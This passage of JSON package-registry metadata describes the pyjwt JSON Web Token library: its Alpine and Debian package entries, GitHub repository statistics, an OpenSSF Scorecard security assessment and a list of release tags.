"past_year_avg_comments_per_pull_request":0.38961038961038963,"past_year_bot_issues_count":0,"past_year_bot_pull_requests_count":34,"past_year_merged_pull_requests_count":41,"issues_url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/issues","maintainers":[{"login":"auvipy","count":6,"url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/authors/auvipy"},{"login":"jpadilla","count":5,"url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/authors/jpadilla"}],"active_maintainers":[{"login":"auvipy","count":1,"url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/authors/auvipy"},{"login":"jpadilla","count":1,"url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/authors/jpadilla"}]},"versions_url":"https://packages.ecosyste.ms/api/v1/registries/alpine-v3.17/packages/py3-jwt/versions","version_numbers_url":"https://packages.ecosyste.ms/api/v1/registries/alpine-v3.17/packages/py3-jwt/version_numbers","latest_version_url":"https://packages.ecosyste.ms/api/v1/registries/alpine-v3.17/packages/py3-jwt/latest_version","dependent_packages_url":"https://packages.ecosyste.ms/api/v1/registries/alpine-v3.17/packages/py3-jwt/dependent_packages","related_packages_url":"https://packages.ecosyste.ms/api/v1/registries/alpine-v3.17/packages/py3-jwt/related_packages","codemeta_url":"https://packages.ecosyste.ms/api/v1/registries/alpine-v3.17/packages/py3-jwt/codemeta","maintainers":[{"uuid":"michal@polanski.me","login":null,"name":"Michał Polański","email":null,"url":"https://pkgs.alpinelinux.org/packages?maintainer=Michał Polański","packages_count":228,"html_url":"https://pkgs.alpinelinux.org/packages?maintainer=Michał Polański","role":null,"created_at":"2023-02-01T07:48:23.503Z","updated_at":"2023-02-01T07:48:23.503Z","packages_url":"https://packages.ecosyste.ms/api/v1/registries/alpine-v3.17/maintainers/michal@polanski.me/packages"}],"registry":{"name":"alpine-v3.17","url":"https://pkgs.alpinelinux.org/packages?branch=v3.17","ecosystem":"alpine","default":false,"packages_count":17817,"maintainers_count":352,"namespaces_count":2,"keywords_count":3377,"github":"alpinelinux","metadata":{"repos":["main","community"],"funded_packages_count":1038},"icon_url":"https://github.com/alpinelinux.png","created_at":"2023-01-31T17:27:50.642Z","updated_at":"2026-06-10T05:19:47.280Z","packages_url":"https://packages.ecosyste.ms/api/v1/registries/alpine-v3.17/packages","maintainers_url":"https://packages.ecosyste.ms/api/v1/registries/alpine-v3.17/maintainers","namespaces_url":"https://packages.ecosyste.ms/api/v1/registries/alpine-v3.17/namespaces"}},{"id":13706568,"name":"pyjwt","ecosystem":"debian","description":null,"homepage":"https://github.com/jpadilla/pyjwt","licenses":"mit","normalized_licenses":["MIT"],"repository_url":"https://github.com/jpadilla/pyjwt","keywords_array":["misc"],"namespace":"main","versions_count":1,"first_release_published_at":"2026-02-12T22:13:55.734Z","latest_release_published_at":"2026-02-12T22:13:55.734Z","latest_release_number":"2.6.0-1","last_synced_at":"2026-03-13T14:41:54.493Z","created_at":"2026-02-12T22:13:55.540Z","updated_at":"2026-05-29T04:00:35.828Z","registry_url":"https://tracker.debian.org/pkg/pyjwt","install_command":"apt-get install pyjwt","documentation_url":"https://packages.debian.org/bookworm/pyjwt","metadata":{"component":"main","architecture":"all","priority":"optional","binary":"python3-jwt","standards_version":"4.6.1","maintainer":"Debian Python Team \u003cteam+python@tracker.debian.org\u003e","build_depends":"debhelper-compat (= 13), dh-python, python3-all, python3-cryptography, python3-exceptiongroup, python3-pytest, python3-pytest-cov, python3-pytest-runner, python3-setuptools, python3-tomli","build_depends_indep":null,"build_depends_arch":null},"repo_metadata":{"id":1396960,"uuid":"1408162","full_name":"jpadilla/pyjwt","owner":"jpadilla","description":"JSON Web Token implementation in Python","archived":false,"fork":false,"pushed_at":"2026-05-18T22:10:19.000Z","size":1229,"stargazers_count":5660,"open_issues_count":52,"forks_count":756,"subscribers_count":59,"default_branch":"master","last_synced_at":"2026-05-19T00:41:40.142Z","etag":null,"topics":["hacktoberfest","jwt","python"],"latest_commit_sha":null,"homepage":"https://pyjwt.readthedocs.io","language":"Python","has_issues":true,"has_wiki":null,"has_pages":null,"mirror_url":null,"source_name":"jondot/padrino-warden","license":"mit","status":null,"scm":"git","pull_requests_enabled":true,"icon_url":"https://github.com/jpadilla.png","metadata":{"files":{"readme":"README.rst","changelog":"CHANGELOG.rst","contributing":null,"funding":".github/FUNDING.yml","license":"LICENSE","code_of_conduct":"CODE_OF_CONDUCT.md","threat_model":null,"audit":null,"citation":null,"codeowners":null,"security":"SECURITY.md","support":null,"governance":null,"roadmap":null,"authors":"AUTHORS.rst","dei":null,"publiccode":null,"codemeta":null,"zenodo":null,"notice":null,"maintainers":null,"copyright":null,"agents":null,"dco":null,"cla":null},"funding":{"github":["jpadilla"]}},"created_at":"2011-02-24T20:25:09.000Z","updated_at":"2026-05-15T21:30:33.000Z","dependencies_parsed_at":"2025-11-13T02:02:14.919Z","dependency_job_id":null,"html_url":"https://github.com/jpadilla/pyjwt","commit_stats":{"total_commits":666,"total_committers":140,"mean_commits":4.757142857142857,"dds":0.7777777777777778,"last_synced_commit":"d8b12421654840418fd25b86553795c0c09ed0a9"},"previous_names":["progrium/pyjwt"],"tags_count":48,"template":false,"template_full_name":null,"purl":"pkg:github/jpadilla/pyjwt","repository_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt","tags_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags","releases_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/releases","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/manifests","owner_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners/jpadilla","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/refs/heads/master","sbom_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/sbom","scorecard":{"id":316997,"data":{"date":"2025-08-11","repo":{"name":"github.com/jpadilla/pyjwt","commit":"f2d0ebe7ec6d95cf92d958f9fcbd60ba1911cd3d"},"scorecard":{"version":"v5.2.1-40-gf6ed084d","commit":"f6ed084d17c9236477efd66e5b258b9d4cc7b389"},"score":7.5,"checks":[{"name":"Code-Review","score":8,"reason":"Found 12/15 approved changesets -- score normalized to 8","details":null,"documentation":{"short":"Determines if the project requires human code review before pull requests (aka merge requests) are merged.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#code-review"}},{"name":"Security-Policy","score":10,"reason":"security policy file detected","details":["Info: security policy file detected: SECURITY.md:1","Info: Found linked content: SECURITY.md:1","Info: Found disclosure, vulnerability, and/or timelines in security policy: SECURITY.md:1","Info: Found text in security policy: SECURITY.md:1"],"documentation":{"short":"Determines if the project has published a security policy.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#security-policy"}},{"name":"Dangerous-Workflow","score":10,"reason":"no dangerous workflow patterns detected","details":null,"documentation":{"short":"Determines if the project's GitHub Action workflows avoid dangerous patterns.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#dangerous-workflow"}},{"name":"Maintained","score":10,"reason":"11 commit(s) and 3 issue activity found in the last 90 days -- score normalized to 10","details":null,"documentation":{"short":"Determines if the project is \"actively maintained\".","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#maintained"}},{"name":"Binary-Artifacts","score":10,"reason":"no binaries found in the repo","details":null,"documentation":{"short":"Determines if the project has generated executable (binary) artifacts in the source repository.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#binary-artifacts"}},{"name":"Token-Permissions","score":0,"reason":"detected GitHub workflow tokens with excessive permissions","details":["Info: topLevel 'contents' permission set to 'read': .github/workflows/enforce-changelog-entry.yml:8","Warn: no topLevel permission defined: .github/workflows/main.yml:1","Info: topLevel 'contents' permission set to 'read': .github/workflows/pypi-package.yml:16","Info: no jobLevel write permissions found"],"documentation":{"short":"Determines if the project's workflows follow the principle of least privilege.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#token-permissions"}},{"name":"Pinned-Dependencies","score":0,"reason":"dependency not pinned by hash detected -- score normalized to 0","details":["Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/main.yml:25: update your workflow using https://app.stepsecurity.io/secureworkflow/jpadilla/pyjwt/main.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/main.yml:26: update your workflow using https://app.stepsecurity.io/secureworkflow/jpadilla/pyjwt/main.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/main.yml:44: update your workflow using https://app.stepsecurity.io/secureworkflow/jpadilla/pyjwt/main.yml/master?enable=pin","Warn: third-party GitHubAction not pinned by hash: .github/workflows/main.yml:58: update your workflow using https://app.stepsecurity.io/secureworkflow/jpadilla/pyjwt/main.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/main.yml:69: update your workflow using https://app.stepsecurity.io/secureworkflow/jpadilla/pyjwt/main.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/main.yml:70: update your workflow using https://app.stepsecurity.io/secureworkflow/jpadilla/pyjwt/main.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/main.yml:96: update your workflow using https://app.stepsecurity.io/secureworkflow/jpadilla/pyjwt/main.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/main.yml:97: update your workflow using https://app.stepsecurity.io/secureworkflow/jpadilla/pyjwt/main.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/pypi-package.yml:27: update your workflow using https://app.stepsecurity.io/secureworkflow/jpadilla/pyjwt/pypi-package.yml/master?enable=pin","Warn: third-party GitHubAction not pinned by hash: .github/workflows/pypi-package.yml:31: update your workflow using https://app.stepsecurity.io/secureworkflow/jpadilla/pyjwt/pypi-package.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/pypi-package.yml:43: update your workflow using https://app.stepsecurity.io/secureworkflow/jpadilla/pyjwt/pypi-package.yml/master?enable=pin","Warn: third-party GitHubAction not pinned by hash: .github/workflows/pypi-package.yml:49: update your workflow using https://app.stepsecurity.io/secureworkflow/jpadilla/pyjwt/pypi-package.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/pypi-package.yml:63: update your workflow using https://app.stepsecurity.io/secureworkflow/jpadilla/pyjwt/pypi-package.yml/master?enable=pin","Warn: third-party GitHubAction not pinned by hash: .github/workflows/pypi-package.yml:69: update your workflow using https://app.stepsecurity.io/secureworkflow/jpadilla/pyjwt/pypi-package.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/stale.yml:15: update your workflow using https://app.stepsecurity.io/secureworkflow/jpadilla/pyjwt/stale.yml/master?enable=pin","Warn: pipCommand not pinned by hash: .github/workflows/main.yml:36","Warn: pipCommand not pinned by hash: .github/workflows/main.yml:37","Warn: pipCommand not pinned by hash: .github/workflows/main.yml:51","Warn: pipCommand not pinned by hash: .github/workflows/main.yml:77","Warn: pipCommand not pinned by hash: .github/workflows/main.yml:104","Info:   0 out of  11 GitHub-owned GitHubAction dependencies pinned","Info:   1 out of   5 third-party GitHubAction dependencies pinned","Info:   0 out of   5 pipCommand dependencies pinned"],"documentation":{"short":"Determines if the project has declared and pinned the dependencies of its build process.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#pinned-dependencies"}},{"name":"CII-Best-Practices","score":0,"reason":"no effort to earn an OpenSSF best practices badge detected","details":null,"documentation":{"short":"Determines if the project has an OpenSSF (formerly CII) Best Practices Badge.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#cii-best-practices"}},{"name":"Fuzzing","score":10,"reason":"project is fuzzed","details":["Info: OSSFuzz integration found"],"documentation":{"short":"Determines if the project uses fuzzing.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#fuzzing"}},{"name":"License","score":10,"reason":"license file detected","details":["Info: project has a license file: LICENSE:0","Info: FSF or OSI recognized license: MIT License: LICENSE:0"],"documentation":{"short":"Determines if the project has defined a license.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#license"}},{"name":"Vulnerabilities","score":10,"reason":"0 existing vulnerabilities detected","details":null,"documentation":{"short":"Determines if the project has open, known unfixed vulnerabilities.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#vulnerabilities"}},{"name":"Signed-Releases","score":-1,"reason":"no releases found","details":null,"documentation":{"short":"Determines if the project cryptographically signs release artifacts.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#signed-releases"}},{"name":"Branch-Protection","score":-1,"reason":"internal error: error during branchesHandler.setup: internal error: githubv4.Query: Resource not accessible by integration","details":null,"documentation":{"short":"Determines if the default and release branches are protected with GitHub's branch protection settings.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#branch-protection"}},{"name":"Packaging","score":10,"reason":"packaging workflow detected","details":["Info: Project packages its releases by way of GitHub Actions.: .github/workflows/pypi-package.yml:34"],"documentation":{"short":"Determines if the project is published as a package that others can easily download, install, easily update, and uninstall.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#packaging"}},{"name":"SAST","score":5,"reason":"SAST tool is not run on all commits -- score normalized to 5","details":["Warn: 16 commits out of 27 are checked with a SAST tool"],"documentation":{"short":"Determines if the project uses static code analysis.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#sast"}}]},"last_synced_at":"2025-08-18T00:25:46.882Z","repository_id":1396960,"created_at":"2025-08-18T00:25:46.882Z","updated_at":"2025-08-18T00:25:46.882Z"},"host":{"name":"GitHub","url":"https://github.com","kind":"github","repositories_count":286080680,"owners_count":33197524,"icon_url":"https://github.com/github.png","version":null,"created_at":"2022-05-30T11:31:42.601Z","updated_at":"2026-05-18T09:27:30.708Z","status":"ssl_error","status_checked_at":"2026-05-18T09:27:28.300Z","response_time":71,"last_error":"SSL_connect returned=1 errno=0 peeraddr=140.82.121.5:443 state=error: unexpected eof while reading","robots_txt_status":"success","robots_txt_updated_at":"2025-07-24T06:49:26.215Z","robots_txt_url":"https://github.com/robots.txt","online":false,"can_crawl_api":true,"host_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub","repositories_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories","repository_names_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repository_names","owners_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners"},"owner_record":{"login":"jpadilla","name":"José Padilla","uuid":"83319","kind":"user","description":"@auth0 + @filepreviews ","email":"hello@jpadilla.com","website":"https://jpadilla.com","location":"Hartford, CT","twitter":"jpadilla_","company":"@auth0 ","icon_url":"https://avatars.githubusercontent.com/u/83319?v=4","repositories_count":230,"last_synced_at":"2025-11-23T03:17:15.931Z","metadata":{"has_sponsors_listing":true},"html_url":"https://github.com/jpadilla","funding_links":["https://github.com/sponsors/jpadilla"],"total_stars":12101,"followers":1389,"following":419,"created_at":"2022-11-02T16:29:26.720Z","updated_at":"2025-11-23T03:17:15.932Z","owner_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners/jpadilla","repositories_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners/jpadilla/repositories"},"tags":[{"name":"2.13.0","sha":"7144e4534c34810f4525dc4578a32addd8212cff","kind":"commit","published_at":"2026-05-21T19:34:15.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/2.13.0","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/2.13.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@2.13.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.13.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.13.0/manifests"},{"name":"2.12.1","sha":"a4e1a3d1218b01c5806420b8f16d9308ac4adc30","kind":"commit","published_at":"2026-03-13T18:41:01.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/2.12.1","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/2.12.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@2.12.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.12.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.12.1/manifests"},{"name":"2.12.0","sha":"bd9700cca7f9258fadcc429c1034e508025931f2","kind":"commit","published_at":"2026-03-12T17:08:41.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/2.12.0","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/2.12.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@2.12.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.12.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.12.0/manifests"},{"name":"2.11.0","sha":"697344d25990641b8b2aa85f0a60634b590b5702","kind":"commit","published_at":"2026-01-30T18:44:15.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/2.11.0","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/2.11.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@2.11.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.11.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.11.0/manifests"},{"name":"2.10.1","sha":"3ebbb22f30f2b1b41727b269a08b427e9a85d6bb","kind":"commit","published_at":"2024-11-28T03:30:29.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/2.10.1","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/2.10.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@2.10.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.10.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.10.1/manifests"},{"name":"2.10.0","sha":"783f324e5d2155462515ced45718fc164dd04db2","kind":"commit","published_at":"2024-11-16T13:57:38.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/2.10.0","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/2.10.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@2.10.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.10.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.10.0/manifests"},{"name":"2.9.0","sha":"868cf4ab2ca5a0a39da40e5a14dd740b203662b2","kind":"commit","published_at":"2024-07-31T12:40:12.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/2.9.0","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/2.9.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@2.9.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.9.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.9.0/manifests"},{"name":"2.8.0","sha":"72ad55f6d7041ae698dc0790a690804118be50fc","kind":"commit","published_at":"2023-07-18T18:30:05.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/2.8.0","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/2.8.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@2.8.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.8.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.8.0/manifests"},{"name":"2.7.0","sha":"d7c54dbebdab2ae17f7948fd4432b15e1bb82852","kind":"commit","published_at":"2023-05-09T19:04:21.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/2.7.0","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/2.7.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@2.7.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.7.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.7.0/manifests"},{"name":"2.6.0","sha":"7665aa625506a11bae50b56d3e04413a3dc6fdf8","kind":"commit","published_at":"2022-10-20T01:08:12.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/2.6.0","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/2.6.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@2.6.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.6.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.6.0/manifests"},{"name":"2.5.0","sha":"c9006103b56359b3ad788bb2e380ef17dfe59b05","kind":"commit","published_at":"2022-09-17T13:52:22.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/2.5.0","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/2.5.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@2.5.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.5.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.5.0/manifests"},{"name":"2.4.0","sha":"83ff831a4d11190e3a0bed781da43f8d84352653","kind":"commit","published_at":"2022-05-12T18:51:41.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/2.4.0","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/2.4.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@2.4.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.4.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.4.0/manifests"},{"name":"2.3.0","sha":"98620ab2a396a5c887a494259d49552c2093e1ad","kind":"commit","published_at":"2021-10-16T15:46:05.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/2.3.0","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/2.3.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@2.3.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.3.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.3.0/manifests"},{"name":"2.2.0","sha":"6223ba13780a941a3f4c9dec62f282bdd9b5afb0","kind":"commit","published_at":"2021-10-06T14:03:12.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/2.2.0","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/2.2.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@2.2.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.2.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.2.0/manifests"},{"name":"2.1.0","sha":"79c23d7d9d32364be8f94680d8eda7135c3a15d5","kind":"commit","published_at":"2021-04-28T11:59:15.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/2.1.0","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/2.1.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@2.1.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.1.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.1.0/manifests"},{"name":"2.0.1","sha":"3993ce1d3503b58cf74699a89ba9e5c18ef9b556","kind":"commit","published_at":"2021-01-17T17:56:19.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/2.0.1","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/2.0.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@2.0.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.0.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.0.1/manifests"},{"name":"2.0.0","sha":"482364776109cb597af7f679161dcf9c3ef5d0ea","kind":"commit","published_at":"2020-12-22T13:37:35.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/2.0.0","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/2.0.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@2.0.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.0.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.0.0/manifests"},{"name":"2.0.0a2","sha":"5bf8e70f26309b0a5ceda49ce0a7e97e89eee764","kind":"commit","published_at":"2020-12-20T00:02:44.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/2.0.0a2","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/2.0.0a2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@2.0.0a2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.0.0a2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.0.0a2/manifests"},{"name":"2.0.0a1","sha":"8041cb607a733a9b5fffe1e9136d55a40bcea25b","kind":"commit","published_at":"2020-11-02T12:58:11.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/2.0.0a1","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/2.0.0a1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@2.0.0a1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.0.0a1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.0.0a1/manifests"},{"name":"1.7.1","sha":"b65e1ac6dc4d11801f3642eaab34ae6a54162c18","kind":"tag","published_at":"2018-12-07T13:40:31.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/1.7.1","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/1.7.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@1.7.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.7.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.7.1/manifests"},{"name":"1.7.0","sha":"3f735fdf68cc865a6241aae1fcf92a410c73fbdb","kind":"tag","published_at":"2018-12-02T03:49:29.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/1.7.0","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/1.7.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@1.7.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2